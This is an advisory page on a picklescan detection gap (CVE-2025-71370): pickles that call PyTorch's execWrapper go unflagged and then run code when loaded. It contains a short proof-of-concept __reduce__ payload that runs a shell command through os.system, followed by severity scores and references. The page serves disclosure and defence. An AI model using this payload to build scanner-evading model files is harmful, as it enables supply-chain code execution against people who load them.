Advisory details:
pypa / picklescan/PYSEC-2026-4136
| Advisory ID | pypa/picklescan/PYSEC-2026-4136 |
| Aliases |
CVE-2025-71370
GHSA-vr7h-p6mm-wpmh PYSEC-2026-4136 |
| Summary | Picklescan missing detection when calling pytorch function torch.jit.unsupported_tensor_ops.execWrapper ### Summary Using torch.jit.unsupported_tensor_ops.execWrapper function, which is a pytorch library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to torch.jit.unsupported_tensor_ops.execWrapper function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` import torch.jit.unsupported_tensor_ops as unsupported_tensor_ops class EvilTorchJitUnsupportedTensorOpsExecWrapper: def __reduce__(self): code = '__import__("os").system("whoami")' glob = {} loc = {} return unsupported_tensor_ops.execWrapper, (code, glob, loc) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Corresponding https://github.com/FredericDT https://github.com/Qhaoduoyu |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 7.3 |
| Risk | 3.6 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| There are no known CWE. |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 8.1 | https://github.com/pypa/advisory-database/blob/main/vulns/picklescan/PYSEC-2026-4136.yaml |
| cvssv4 | 7.6 | https://github.com/pypa/advisory-database/blob/main/vulns/picklescan/PYSEC-2026-4136.yaml |
| Reference id | Reference type | URL |
|---|---|---|
| https://github.com/mmaitre314/picklescan | ||
| https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53 | ||
| https://github.com/mmaitre314/picklescan/pull/47 | ||
| https://github.com/mmaitre314/picklescan/releases/tag/v0.0.28 | ||
| https://pypi.org/project/picklescan | ||
| CVE-2025-71370 | https://nvd.nist.gov/vuln/detail/CVE-2025-71370 | |
| GHSA-vr7h-p6mm-wpmh | https://github.com/advisories/GHSA-vr7h-p6mm-wpmh | |
| GHSA-vr7h-p6mm-wpmh | https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vr7h-p6mm-wpmh | |
| picklescan-remote-code-execution-via-torch-jit-unsupported-tensor-ops-execwrapper | Advisory | https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-torch-jit-unsupported-tensor-ops-execwrapper |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Attack Requirements (AT) | Privileges Required (PR) | User Interaction (UI) | Vulnerable System Impact Confidentiality (VC) | Vulnerable System Impact Integrity (VI) | Vulnerable System Impact Availability (VA) | Subsequent System Impact Confidentiality (SC) | Subsequent System Impact Integrity (SI) | Subsequent System Impact Availability (SA) |
|---|---|---|---|---|---|---|---|---|---|---|
network adjacent local physical |
low high |
none present |
none low high |
none passive active |
high low none |
high low none |
high low none |
high low none |
high low none |
high low none |
There are no SSVC decisions available.